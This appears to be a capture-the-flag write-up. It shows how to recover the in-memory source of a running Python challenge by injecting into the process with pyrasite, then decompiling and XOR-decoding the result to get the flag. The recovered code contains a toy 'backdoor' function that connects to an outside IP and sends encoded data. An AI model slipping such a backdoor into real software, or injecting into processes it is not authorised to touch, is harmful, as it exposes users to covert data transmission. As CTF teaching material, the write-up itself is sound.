```lost-file@c080471a8de3:/app$ ps aux | grep python lost-fi+     6  0.0  0.1  21908  2772 ?        S    12:09   0:00 python2 /app/challenge.py ```
My first approach was to look for a pyc still somewhere resident in `/proc/$PID/fd/$FD`, but alas, I had no luck. Yet, the python program was still running and hitherto still in memory.  
A month ago I remember reading on HackerNews a gist about [how to recover lost Python source code if it's still resident in-memory](https://gist.github.com/simonw/8aa492e59265c1a021f5c5618f9e6b12). I tried it with varying degrees of success, but there were some missing dependencies so I'll report the full install procedure below:
```lost-file@c080471a8de3:/app$ virtualenv pyrasite lost-file@c080471a8de3:/app$ pyrasite/bin/pip install pyrasite lost-file@c080471a8de3:/app$ pyrasite/bin/pip install uncompyle6 lost-file@c080471a8de3:/app$ pyrasite/bin/pyrasite-shell $(pgrep -f "python")```
You can now use several [payloads](https://github.com/lmacken/pyrasite/tree/master/pyrasite/payloads).  If you want to extract the source, you'll need [meliae](https://github.com/isaacl/meliae), a python memory analysis tool. On the challenge box I had problems while executing `pyrasite/bin/pip install meliae` so I resorted to manually downloading and compiling the source:
```lost-file@6083c16196b7:/app$ pip install Cython lost-file@6083c16196b7:/app$ pyrasite/bin/pip install --download="." meliae lost-file@6083c16196b7:/app$ tar -zxvf meliae-0.4.0.tar.gz ; rm meliae-0.4.0.tar.gz; cd meliae-0.4.0/ ; lost-file@6083c16196b7:/app/meliae-0.4.0$ python ./setup.py install ```
and then, when the attached python shell popped:
```>>> import uncompyle6 >>> import sys >>> uncompyle6.main.uncompyle( >>> 2.7, x.func_code, sys.stdout >>> ) 
# Embedded file name: /app/challenge.py return ''.join((chr(ord(c) ^ ord(k)) for c, k in izip(base64.decodestring(a), cycle(b)))) 
```
We also used `globals()` to get the `c` var:
```c = '\nbgwMFA0XEUYXCgIPBxFvDwkVDhYWRRYfF28HFg0IRQ8QABMQDQoJFUQMDBQNFxFGBxwCCAdvbwIBA0ECAwwJTk1fa0RCRUUWFgwPEARNRz8LEEEMAxMARgIECAgHAUdPbm8FAQRFAQkKAElNWG9FRkRFERYLCxEATEc2AQ4JRQILCwRGS29vAgEDQQIXCwZOTV9rREJFRQEICgMFDkUdbERFQUQFCQoEBQlBD2hFRUZEDlxGNRUwDgFcEQc0EFQpFCIKCAhHXmxERUFEGlgJBwkHBQVCFkkSXkdDSggKDAhMBgkWSgoXAkwESDoNFwFOBkxIRAQKF0YFSQNECwtFHA0VSRdOBhwFCABJEEtMTGxuAQQCQgcEBQ8BDgsQTUxcbkVBREIBBBIFWEMsCFEiLTZQUjUzJB8tCSALNiZRVSlVFgsjIwpRMCFVODEaAixEbkVBREJvRUZERRJEX0UWCQcOBBBMFgoFDwAVTBEKBg0BEU8lJDosKCExTUQRCgYNARFPNy0mLjk3MTMhIyhMbERFQUQRSwYJCgsEBxZNTURVS1BKU0tUREhFV1JUTExsREVBRBFLFgMKAUkcSkcND0ZJCk1Lb0VGREUSShEACwJMAQAQA0xvbA0DQTs9CwQLATo+RF9YRUQ7OgwFCws6OUZfa0RCRUUAEQsCTEtvRUZERQMFAQ4BCQsXSU1o\n' ```
Decoding c and using this [xor cracker](https://wiremask.eu/tools/xor-cracker/) lead us to the source of `/app/challenge.py`:
```import socket import sys from itertools import cycle  def fail():     printf("You have failed")  def done():     printf("Well done")  def func():     global x     global k     k="WpUhe9pcVu1OpGklj";     x=lambda s,t:"".join(chr(ord(a)^ord(b)) for a,b in zip(s,cycle(t)))  def backdoor():     data="Hj4GKR53QQAzKmEjRD40O1sjGAo4VE0YUxgI"      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.connect(("1.1.1.1", 666))     s.send(x("hi",k))     s.send(data)  if __name__ == "__main__":     func()     backdoor() ```
In the `backdoor` function, xoring the base64-decoded `data` var ("Hj4GKR53QQAzKmEjRD40O1sjGAo4VE0YUxgI") with `k` ("WpUhe9pcVu1OpGklj") gives us the flag, which decodes to `INSA{N1ce_Pl4y_W1th_P1th0N}`.